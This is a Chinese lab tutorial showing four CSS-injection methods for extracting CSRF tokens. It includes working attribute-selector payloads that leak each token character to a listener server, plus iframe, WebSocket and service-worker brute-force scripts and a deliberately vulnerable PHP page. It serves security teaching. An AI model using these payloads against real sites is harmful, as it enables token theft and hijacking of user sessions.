CSS注入的四种实现方式

news2025/1/11 2:39:09

目录

CSS注入窃取标签属性数据

简单的一个实验:

解决hidden

方法1:js+node.js实现

侧信道攻击

方法2:对比波兰研究院的方案

使用兄弟选择器

方法3:js+websocket实现CSS注入

实验实现:

方法4:window.open结合serviceworker

实验验证:


现代浏览器都已经不允许在CSS中执行JavaScript了,以前的CSS注入可以利用JavaScript协议在url()、expression()中执行JavaScript代码从而实现XSS。

但是目前CSS注入在窃取数据方面仍然非常有用的,下面分别来分析一下CSS注入 窃取标签属性数据CSS中可以使用数据选择器,根据不同的属性选择标签。

例:

<style>
p[a="abc"]{color :red ;}
</style>
<p a="abc">hello world</p>

数据选择器还可以匹配一些特征,比如xxx开头或者xxx结尾等。

CSS注入窃取标签属性数据

利用上面的性质我们可以看出来窃取页面标签属性中的数据,比如下面当csrfToken以某个字母开头时,可以通过url()通知攻击者,从而窃取csrfToken的第一位的值:

简单的一个实验:

在CSSinject目录下面新建

(1)css.html:

<!DOCTYPE html>
<html lang="en">
​
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CSS</title>
    <link rel="stylesheet" href="./css.css">
    <!-- 这里将css样式引入到hmtl页面中 -->
</head>

​
<body>
​<input type="text" name="csrf" value="abcdef">;
</body>
​
</html>

这里首先引入了css.css样式 ,然后有一个输入,名为csrf,值为abcdef

(2)css.css:

input[name="csrf"][value^="a"] {
    background: url(https://www.baidu.com);
}

这里就是通过标签选择器,选择到了name=csrf并且value是以a开头的输入,给它 设置一个背景,背景的URL是www.baidu.com

(3)测试

这里查看很明显成功的访问了

解决hidden

当然还有个问题,当标签type=hidden时浏览器是不允许我们设置background的,这样就无法触发

url()请求服务器解决方法之一是利用~CSS的兄弟选择器(必须是同一个父母),选择为后续所

有兄弟节点设置background。

方法1:js+node.js实现

侧信道攻击

(1)css.html


<!DOCTYPE html>
<html lang="en">
​
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>侧信道攻击</title>
</head>
​
<style>
    #frames {
        visibility: hidden;
    }
</style>
​
<body>
    <div id="current"></div>
    <div id="time_to_next"></div>
    <div id="frames"></div>
</body>
<script>
    vuln_url = 'http://www.security.com/css.php?css=';
    server_receive_token_url = 'http://127.0.0.1:8083/receive/';
    server_return_token_url = 'http://127.0.0.1:8083/return';
    chars = "ABCDEFGHIJKLMOPQRSTUVWXYZabcdefghigklimnopqrstuvwxyz1234567890".split("");
    //md5其实全部都是小写的英文,这里完全可以将这些大写的英文删除掉
    known = "";
    function test_char(known, chars) {
        document.getElementById('frames').innerHTML = "";
        css = build_css(chars.map(v => known + v));
        frame = document.createElement('iframe');
        frame.src = vuln_url + css;
        frame.style = "visibility:hidden;";
        document.getElementById("frames").appendChild(frame);
​
        setTimeout(function () {//监听
            var oReq = new XMLHttpRequest();
            oReq.addEventListener("load", known_listener);
            oReq.open("GET", server_return_token_url);
            oReq.send();
        }, 1000);
    }
    function build_css(values) {//拼接
        css_payload = "";
        for (var value in values) {
            css_payload += "input[value^=\""
                + values[value]
                + "\"]{background-image:url("
                + server_receive_token_url
                + values[value]
                + ")%3B}";
        }
        return css_payload;
    }
    function known_listener() {//请求
        document.getElementById("current").innerHTML = "Current Token:" + this.responseText;
        if (known != this.responseText) {
            known = this.responseText;
            test_char(known, chars);
        }
        else {
            known = this.responseText;
            alert("CSRF token is :" + known);
        }
    }
    test_char("", chars);
</script>
​
</html>

(2)css.css 

input[name="csrf"][value^="0"] {
    background: url(https://www.baidu.com);
}

(3)css.php

<?php
$token1=md5($_SERVER['HTTP_USER_AGENT']); //使用头部的一个字段生成了一段md5值
$token2=md5($token1); //这里将token1的值赋值给了token2
?>
<!doctype html><meta charset=utf-8>
<input  value=<?=$token1?>>
​
<script>
var TOKEN="<?=$token2?>";
</script>
<style>
<?=preg_replace('#</style#i','#', $_GET['css'])?> 
/* 这里 */
/* 如果遇到了style,并且忽略大小写,将其替换#,防止闭合style标签 */
</style>

(4)css.js

首先需要一个服务端,用来存储生成的md5值

var express = require('express');
var app = express();
var path = require('path');
var token = "";
​
//采用CORS实现跨域,允许被攻击页面向服务器发送请求
app.all("*", function (req, res, next) {
    //设置允许跨域的域名,*代表允许任意域名跨域
    res.header("Access-Control-Allow-Origin", "*");
    res.header("Access-Control-Allow-Methods", 'PUT,POST,GET,DELETE,OPTIONS');
    res.header("Access-Control-Allow-Credentials", true);
    next()
})
​
//处理receive页面请求 --- 接收参数token
app.get('/receive/:token', function (req, res) {
    token = req.params.token;
    console.log(token)
    res.send('ok');
});
​
//return页面请求,向客户端返回刚获取到的token
app.get('/return', function (req, res) {
    res.send(token);
});
​
//返回恶意页面
app.get('/css.html', function (req, res) {
    res.sendFile(path.join(__dirname, 'css.html'));
})
​
//配置本地服务器
var server = app.listen(8083, function () {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

(5)测试

首先模拟服务端使用node运行css.js


然后在浏览器中输入www.security.com/css.html

可以看到成功的爆破出了服务端生成的随机Token

那再看看服务端:

服务端这里也将Token的值逐步的打印了出来

结论:使用iframe将受害页面包含进来,可以对其进行CSS注入。

获取token,token存储位置:服务端创建变量token转发给客户端,并且将token数值打印输出到服务端。

方法2:对比波兰研究院的方案

(1)css.html

<!doctype html>
<meta charset=utf-8>
<script src="./css.js"></script>
<big id=token></big><br>
<iframe id=iframe></iframe>
<script>
    (async function () {
        const EXPECTED_TOKEN_LENGTH = 32;
        const ALPHABET = Array.from("0123456789abcdef");
        const iframe = document.getElementById('iframe');
        let extractedToken = '';
​
        while (extractedToken.length < EXPECTED_TOKEN_LENGTH) {
            clearTokenCookie();  //清空cookie
            createIframeWithCss();
            extractedToken = await getTokenFromCookie();
​
            document.getElementById('token').textContent = extractedToken;
        }
​
        function getTokenFromCookie() {
            return new Promise(resolve => {
                const interval = setInterval(function () { //一直执行,直到cookie的值取出来
                    const token = Cookies.get('token'); //直接使用cookie获取token
                    if (token) {
                        clearInterval(interval);
                        resolve(token);
                    }
                }, 50);
            });
        }
​
        function clearTokenCookie() {
            Cookies.remove('token');
        }
​
        function generateCSS() {
            let css = '';
            for (let char of ALPHABET) {
                css += `input[value^="${extractedToken}${char}"] {
background: url(http://127.0.0.01:3000/token/${extractedToken}${char})
}`;
            }
​
            return css;
        }
        function createIframeWithCss() {
            iframe.src = 'http://www.security.com/css.php/?css=' + encodeURIComponent(generateCSS());
        }
​
    })();
</script>

(2)css.js

const express = require('express');
const app = express();
// Serwer ExprssJS domyślnie dodaje nagłówek ETag,
// ale nam nie jest to potrzebne, więc wyłączamy.
app.disable('etag');
​
const PORT = 3000;
​
// Obsługa zapytania przyjmującego token jako połączenie
// zwrotne.
app.get('/token/:token', (req, res) => {
    const { token } = req.params;
​
    // W odpowiedzi po prostu ustawiane jest ciasteczko o nazwie
    // token i tej samej wartości, która została przekazana w URL-u
    res.cookie('token', token);
    console.log(token);
    res.send('');
});
​
app.get('/css.js', (req, res) => {
    res.sendFile('js.cookie.js', {
        root: './node_modules/js-cookie/src/'
    });
});
​
app.get('/css.html', (req, res) => {
    res.sendFile('index.html', {
        root: '.'
    });
});
​
app.listen(PORT, () => {
    console.log(`Listening on ${PORT}...`);
})
​

(3)css.css

input[name="csrf"][value^="0"] {
    background: url(https://www.baidu.com);
}

(4)css.php

<?php
$token1=md5($_SERVER['HTTP_USER_AGENT']); //使用头部的一个字段生成了一段md5值
$token2=md5($token1); //这里将token1的值赋值给了token2
?>
<!doctype html><meta charset=utf-8>
<input  value=<?=$token1?>>
​
<script>
var TOKEN="<?=$token2?>";
</script>
<style>
<?=preg_replace('#</style#i','#', $_GET['css'])?> 
/* 这里 */
/* 如果遇到了style,并且忽略大小写,将其替换#,防止闭合style标签 */
</style>

(5)安装js-cookie库

在VScode中创建一个名为package.json文件,并且将以下内容进行写入

{
    "name": "css-attack-1",
    "version": "1.0.0",
    "description": "",
    "main": "index.js",
    "dependencies": {
        "express": "^4.15.5",
        "js-cookie": "^2.1.4"
    },
    "devDependencies": {},
    "author": "",
    "license": "ISC"
}

进入CMD命令行,移动到对应目录下:npm install

(6)这时候使用node监控 3000端口

(7)监控完成后,这时候就可以尝试访问www.security.com/css.html

可以看到,成功的爆出了Token的值

服务端:

注:如果访问不成功可以尝试换一个浏览器再次尝试访问

使用兄弟选择器

这里可以尝试将php中的input中修改类型为hidden,然后再尝试访问就会发现访问失败

<input  type="hidden"<?=$token1?>> //修改后
<input  type=<?=$token1?>> //原

再次访问:

可以看到,这个现在没有了输入框。因此无法爆出Token值

解决办法:使用兄弟元素

css.php文件

<input  type="hidden"<?=$token1?>> //原
<input  type="text"<?=$token1?>> //增加的

css.html文件

测试:

可以看到,成功的拿到了Token

方法3:js+websocket实现CSS注入

实验实现:

(1)websocket服务端

使用paycharm软件

需要进行WebSocketServer导包:

pip install SimpleWebSocketServer

我这里因为之前已经导入过了,所以没有下载 

(2)服务端配置

from http.server import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
from socketserver import ThreadingMixIn
from SimpleWebSocketServer import SimpleWebSocketServer, WebSocket
PORT_HTTP = 8008
PORT_WS = 8000

class RequestHandler(BaseHTTPRequestHandler, WebSocket):
    def do_GET(self):
        """Respond to a GET request."""
        print("http GET request")
        self.send_response(200)
        self.end_headers()
        ws.sendMessage(self.path)
        return

class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
    """Handle requests in a separate thread."""

class SimpleEcho(WebSocket):

    def handleMessage(self):
        # echo message back to client
        print(self.address, 'new msg')
        #self.sendMessage(self.data)

    def handleConnected(self):
        print(self.address, 'connected, opening http server')
        global ws
        ws = self
        httpd = ThreadedHTTPServer(("", PORT_HTTP), RequestHandler)
        server_thread = Thread(target=httpd.serve_forever)
        server_thread.daemon = True
        server_thread.start()
        print('http is on 8000,and ws is on 8008:')

    def handleClose(self):
        print(self.address, 'closed')

server = SimpleWebSocketServer('', PORT_WS, SimpleEcho)
server.serveforever()

(3)js_websocket.html 

<!DOCTYPE html>
<html lang="en">
​
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
​
<body>
    <div id="div"></div>
    <iframe id="leakchar"></iframe>
</body>
<script>
    const WS = "ws://127.0.0.1:8000";
    const HTTP = "http://127.0.0.1:8008";
    const ALPHABET = Array.from("0123456789abcdef");
    var s = new WebSocket(WS);
​
    s.onopen = function (event) {
        console.log('connection open');
        next('');
    }
    s.onmessage = function (event) {
        let token = event.data.match(/\w+/)[0];
        next(token);
    }
    s.onclose = function (event) {
        console.log('bye');
    }
​
    function next(token) {
        if (token.length < 32) {
            console.log('leaking ' + token + '* ...');
            document.getElementById('leakchar').src = 'http://www.security.com/CSSinject/js_websocket.php?css=' + generateCSS(token);
        } else {
            console.log('done, lets pwn');
            changeEmail(token);
        }
    }
​
    function generateCSS(token) {
        let css = '';
        for (let char of ALPHABET) {
            css += `input[value^="${token}${char}"] ~*{background: url(http://127.0.0.1:8008/${token}${char})}`;
        }
​
        return css;
    }
​
    function changeEmail(token) {
        var div = document.getElementById("div");
        div.innerHTML = token;
    }
</script>
​
</html>

(4)js_websocket.php

<?php
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
var_dump($token2);
?>
​
<!doctype html><meta charset=utf-8>
​
<input name="csrf" type=hidden value=<?=$token2 ?>>
<input >
<script>
var TOKEN = "<?=$token2 ?>";
</script>
​
<style>
/* 正则替换style闭合标签,防止恶意闭合,get方法获取css参数 */
<?=preg_replace('#</style#i', '#', $_GET['css']) ?>
</style>
​

(5)测试

首先开启pytcharm,运行服务器

然后浏览器尝试访问127.0.0.1/CSSinject/js_websocket.html

浏览器返回:

pytcharm返回:

可以看到成功的拿到了Token

方法4:window.open结合serviceworker

github上下载软件包:

GitHub - dxa4481/cssInjection: Stealing CSRF tokens with CSS injection (without iFrames)

实验验证:

(1)attacker.html

<html>
​
<body onclick="potatoes(0)">click somewhere to begin attack</body>
<script>
    (function () {
        if ('serviceWorker' in navigator) {
            navigator.serviceWorker.register('./sw.js');
        }
    })()
    //这里注册时加载sw.js,注册后就可以监听到了
    localStorage.removeItem('csrfToken');
    var potatoes = function (count) {
        var csrfToken = localStorage.getItem("csrfToken");
        if (!csrfToken) { //第二次
            csrfToken = '';
        }
        var css = `#sensitiveForm input[value^='${csrfToken}a'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}a); } #sensitiveForm input[value^='${csrfToken}b'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}b); } #sensitiveForm input[value^='${csrfToken}c'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}c); } #sensitiveForm input[value^='${csrfToken}d'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}d); } #sensitiveForm input[value^='${csrfToken}e'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}e); } #sensitiveForm input[value^='${csrfToken}f'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}f); } #sensitiveForm input[value^='${csrfToken}g'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}g); } #sensitiveForm input[value^='${csrfToken}h'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}h); } #sensitiveForm input[value^='${csrfToken}i'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}i); } #sensitiveForm input[value^='${csrfToken}j'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}j); } #sensitiveForm input[value^='${csrfToken}k'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}k); } #sensitiveForm input[value^='${csrfToken}l'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}l); } #sensitiveForm input[value^='${csrfToken}m'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}m); } #sensitiveForm input[value^='${csrfToken}n'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}n); } #sensitiveForm input[value^='${csrfToken}o'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}o); } #sensitiveForm input[value^='${csrfToken}p'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}p); } #sensitiveForm input[value^='${csrfToken}q'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}q); } #sensitiveForm input[value^='${csrfToken}r'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}r); } #sensitiveForm input[value^='${csrfToken}s'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}s); } #sensitiveForm input[value^='${csrfToken}t'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}t); } #sensitiveForm input[value^='${csrfToken}u'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}u); } #sensitiveForm input[value^='${csrfToken}v'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}v); } #sensitiveForm input[value^='${csrfToken}w'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}w); } #sensitiveForm input[value^='${csrfToken}x'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}x); } #sensitiveForm input[value^='${csrfToken}y'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}y); } #sensitiveForm input[value^='${csrfToken}z'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}z); } #sensitiveForm input[value^='${csrfToken}A'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}A); } #sensitiveForm input[value^='${csrfToken}B'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}B); } #sensitiveForm input[value^='${csrfToken}C'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}C); } #sensitiveForm input[value^='${csrfToken}D'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}D); } #sensitiveForm input[value^='${csrfToken}E'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}E); } #sensitiveForm input[value^='${csrfToken}F'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}F); } #sensitiveForm input[value^='${csrfToken}G'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}G); } #sensitiveForm input[value^='${csrfToken}H'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}H); } #sensitiveForm input[value^='${csrfToken}I'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}I); } #sensitiveForm input[value^='${csrfToken}J'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}J); } #sensitiveForm input[value^='${csrfToken}K'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}K); } #sensitiveForm input[value^='${csrfToken}L'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}L); } #sensitiveForm input[value^='${csrfToken}M'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}M); } #sensitiveForm input[value^='${csrfToken}N'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}N); } #sensitiveForm input[value^='${csrfToken}O'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}O); } #sensitiveForm input[value^='${csrfToken}P'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}P); } #sensitiveForm input[value^='${csrfToken}Q'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}Q); } #sensitiveForm input[value^='${csrfToken}R'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}R); } #sensitiveForm input[value^='${csrfToken}S'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}S); } #sensitiveForm input[value^='${csrfToken}T'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}T); } #sensitiveForm input[value^='${csrfToken}U'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}U); } #sensitiveForm input[value^='${csrfToken}V'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}V); } #sensitiveForm input[value^='${csrfToken}W'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}W); } #sensitiveForm input[value^='${csrfToken}X'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}X); } #sensitiveForm input[value^='${csrfToken}Y'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}Y); } #sensitiveForm input[value^='${csrfToken}Z'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}Z); } #sensitiveForm input[value^='${csrfToken}0'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}0); } #sensitiveForm input[value^='${csrfToken}1'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}1); } #sensitiveForm input[value^='${csrfToken}2'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}2); } #sensitiveForm input[value^='${csrfToken}3'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}3); } #sensitiveForm input[value^='${csrfToken}4'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}4); } #sensitiveForm input[value^='${csrfToken}5'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}5); } #sensitiveForm input[value^='${csrfToken}6'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}6); } #sensitiveForm input[value^='${csrfToken}7'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}7); } #sensitiveForm input[value^='${csrfToken}8'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}8); } #sensitiveForm input[value^='${csrfToken}9'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}9); }`
        var win2 = window.open('http://127.0.0.1/openlab/cssinjection/index.php', 'f', "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1")
        var win2 = window.open(`http://127.0.0.1/openlab/cssinjection/victim.html?injection=${css}`, 'f', "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1")
        win2.blur();
        var newCount = count + 1;
        if (csrfToken.length == 20) {
            return null;
        }
        setTimeout(function () {
            potatoes(newCount);
        }, 2000);
    }
    window.addEventListener('storage', function (e) { //监听storage事件
        if (e.key == "csrfToken") {
            document.getElementById("CSRFToken").innerHTML = e.newValue;
        }
    }); 
</script>
</br>
The CSRF token is:
<div id="CSRFToken"></div>
​
</html>

(2)mockingTheBackend.js

navigator.serviceWorker.addEventListener("message", receiveMessage);
function receiveMessage(event) {
    console.log("got message");
    localStorage.setItem("csrfToken", event.data);
}

(3)sw.js 

self.addEventListener('fetch', function (event) { //监听fetch事件就是
    var urlLogged = event.request.url; //监听到请求
    if (urlLogged.indexOf("/log.php/") >= 0 && urlLogged.indexOf("victim") == -1) {
        //这里这里是否有log.php并且是否有请求页面
        var splitted = urlLogged.split("/log.php/");
        var csrfToken = splitted[splitted.length - 1];
        console.log(csrfToken);
        self.clients.matchAll().then(all => all.map(client => client.postMessage(csrfToken))); //
    }
});

(4)victim.html

<html>
<form action="http://127.0.0.1" id="sensitiveForm">
    <input id="secret" name="secret" value="dJ7cwON4BMyQi3Nrq26i">
</form>
<script>
    var fragment = decodeURIComponent(window.location.href.split("?injection=")[1]);
    var htmlEncode = fragment.replace(/</g, "&lt;").replace(/>/g, "&gt;");
    document.write("<style>" + htmlEncode + "</style>");
</script>
<script src="./mockingTheBackend.js"></script>
​
</html>

(5)测试

未点击前:

点击后:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1198999.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ROC 曲线详解

前言 ROC 曲线是一种坐标图式的分析工具&#xff0c;是由二战中的电子和雷达工程师发明的&#xff0c;发明之初是用来侦测敌军飞机、船舰&#xff0c;后来被应用于医学、生物学、犯罪心理学。 如今&#xff0c;ROC 曲线已经被广泛应用于机器学习领域的模型评估&#xff0c;说…

「题解」反转链表 返回中间节点

文章目录 &#x1f349;题目1&#xff1a;反转链表&#x1f349;解析&#x1f34c;解法一&#xff1a;创建一个新链表&#x1f34c;解法二&#xff1a;直接操作原链表 &#x1f349;题目2&#xff1a;返回中间节点&#x1f34c;解法一&#xff1a;快慢指针&#x1f34c;解法二&…

2023年【汽车驾驶员(高级)】找解析及汽车驾驶员(高级)复审考试

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 汽车驾驶员&#xff08;高级&#xff09;找解析是安全生产模拟考试一点通总题库中生成的一套汽车驾驶员&#xff08;高级&#xff09;复审考试&#xff0c;安全生产模拟考试一点通上汽车驾驶员&#xff08;高级&#…

【Linux】WSL安装Kali及基本操作

&#x1f60f;★,:.☆(&#xffe3;▽&#xffe3;)/$:.★ &#x1f60f; 这篇文章主要介绍WSL安装Kali及基本操作。 学其所用&#xff0c;用其所学。——梁启超 欢迎来到我的博客&#xff0c;一起学习&#xff0c;共同进步。 喜欢的朋友可以关注一下&#xff0c;下次更新不迷路…

采用示波器显示扭矩传感器模拟信号

扭矩传感器输出的信号波形通常是模拟电压信号&#xff0c;可以通过示波器等仪器进行分析。扭矩传感器的输出信号波形通常有两种类型&#xff1a;正弦波和方波。 应变片传感器扭矩测量采用应变电测技术。在弹性轴上粘贴应变计组成测量电桥&#xff0c;当弹性轴受扭矩产生微小变…

IPV4过渡IPV6的关键技术NAT(Network AddressTranslation,网络地址转换)

文章目录 NAT的由来NAT基本工作机制NAT技术的分类推荐阅读 NAT的由来 随着物联网、工业互联网、5G的快速发展&#xff0c;网络应用对IP地址的需求呈现出爆炸式的增长。 然而&#xff0c;早在2011年&#xff0c;ICANN就发布公告称最后五组IP地址已分配完毕&#xff0c;已无IPv4…

华为ensp搭建小型园区网络规划

文章目录 前言一、拓扑图二、数据规划三、设备配置四.配置命令1.配置接入层交换机ACC11.1 设备命名&#xff0c;创建VLAN1.2 配置eth-trunk 11.3 配置用户端 2.配置核心层交换机CORE2.1设备命名2.2配置Eth-Trunk2.3 vlan配置ip2.4 上行接口配置 3.DHCP配置3.1 CORE: 4.配置路由…

【CASS精品教程】cass3d 11.0加载超大影像、三维模型、点云数据

CAD2016+CASS11.0(内置3d)下载与安装: 【CASS精品教程】CAD2016+CASS11.0安装教程(附CASS11.0安装包下载)https://geostorm.blog.csdn.net/article/details/132392530 一、cass11.0 3d支持的数据 cass11.0中的3d模块增加了多种数据的支持,主要有: 1. 三维模型 点击…

Python文件、文件夹操作汇总

目录 一、概览 二、文件操作 2.1 文件的打开、关闭 2.2 文件级操作 2.3 文件内容的操作 三、文件夹操作 四、常用技巧 五、常见使用场景 5.1 查找指定类型文件 5.2 查找指定名称的文件 5.3 查找指定名称的文件夹 5.4 指定路径查找包含指定内容的文件 一、概览 ​在…

Least Square Method 最小二乘法(图文详解,必懂)

最小二乘法是一种求解线性回归模型的优化方法&#xff0c;其目标是最小化数据点和拟合直线之间的残差平方和。这意味着最小二乘法关注的是找到一个直线&#xff0c;使得所有数据点与该直线的偏差的平方和最小。在数学公式中&#xff0c;如果y是实际值&#xff0c;y是函数估计值…

头歌答案Python——JSON基础

目录 ​编辑 Python——JSON基础 第1关&#xff1a;JSON篇&#xff1a;JSON基础知识 任务描述 第2关&#xff1a;JSON篇&#xff1a;使用json库 任务描述 Python——XPath基础 第1关&#xff1a;XPath 路径表达式 任务描述 第2关&#xff1a;XPath 轴定位 任务描述…

计算机毕业设计:疲劳驾驶检测识别系统 python深度学习 YOLOv5 (包含文档+源码+部署教程)

[毕业设计]2023-2024年最新最全计算机专业毕设选题推荐汇总 1、项目介绍 基于YOLOv5的疲劳驾驶检测系统使用深度学习技术检测常见驾驶图片、视频和实时视频中的疲劳行为&#xff0c;识别其闭眼、打哈欠等结果并记录和保存&#xff0c;以防止交通事故发生。本文详细介绍疲劳驾…

2023-11-12 LeetCode每日一题(Range 模块)

2023-03-29每日一题 一、题目编号 715. Range 模块二、题目链接 点击跳转到题目位置 三、题目描述 Range模块是跟踪数字范围的模块。设计一个数据结构来跟踪表示为 半开区间 的范围并查询它们。 半开区间 [left, right) 表示所有 left < x < right 的实数 x 。 实…

服务号如何升级订阅号

服务号和订阅号有什么区别&#xff1f;服务号转为订阅号有哪些作用&#xff1f;首先我们要知道服务号和订阅号有什么区别。服务号侧重于对用户进行服务&#xff0c;每月可推送4次&#xff0c;每次最多8篇文章&#xff0c;发送的消息直接显示在好友列表中。订阅号更侧重于信息传…

利用移动性的比例公平蜂窝调度测量和算法

&#xff08;一支笔一包烟&#xff0c;一节论文看一天 &#xff09;&#xff08;一张纸一瓶酒&#xff0c;一道公式推一宿&#xff09; 摘要1. 引言2. 相关工作3. 模型和问题公式4. 预测FPF调度 &#xff08; P F &#xff09; 2 S &#xff08;PF&#xff09;^2S &#xff08;…

在线制作仿真病历证明软件,易语言实现病例报告生成器,取画板快照+标签+编辑框

闲着无聊用易语言开发了一个病例生成器&#xff0c;当然我加了水印的&#xff0c;这个图片你就算截图你也用不了&#xff0c;模板是从百度图库搜的&#xff0c;很多&#xff0c;我就随便找了一个&#xff0c;然后实现逻辑就是加了一个画板&#xff0c;然后载入了素材图&#xf…

常见面试题-Redis底层的SDS、ZipList、ListPack

Redis 的 SDS 了解吗&#xff1f; 答&#xff1a; Redis 创建了 SDS&#xff08;simple dynamic string&#xff09; 的抽象类型作为 String 的默认实现 SDS 的结构如下&#xff1a; struct sdshdr {// 字节数组&#xff0c;用于保存字符串char buf[];// buf[]中已使用字节…

Xilinx FPGA平台DDR3设计详解(一):DDR SDRAM系统框架

DDR SDRAM&#xff08;双倍速率同步动态随机存储器&#xff09;是一种内存技术&#xff0c;它可以在时钟信号的上升沿和下降沿都传输数据&#xff0c;从而提高数据传输的速率。DDR SDRAM已经发展了多代&#xff0c;包括DDR、DDR2、DDR3、DDR4和DDR5&#xff0c;每一代都有不同的…

中国国内机场信息集成系统厂家现状情况

机场信息集成系统在本世纪初进入中国市场&#xff0c;早期的信息集成系统提供商以外企为主&#xff0c;后来国内企业迅速发展。但在2008年前&#xff0c;民航总局设立了机场信息系统的入门门槛&#xff0c;也就是需要民航空管工程及机场弱电系统建设资质要求&#xff0c;该要求…

Linux学习教程(第二章 Linux系统安装)3

第二章 Linux系统安装 十一、Linux远程管理协议&#xff08;RFB、RDP、Telnet和SSH&#xff09; 提到远程管理&#xff0c;通常指的是远程管理服务器&#xff0c;而非个人计算机。个人计算机可以随时拿来用&#xff0c;服务器通常放置在机房中&#xff0c;用户无法直接接触到…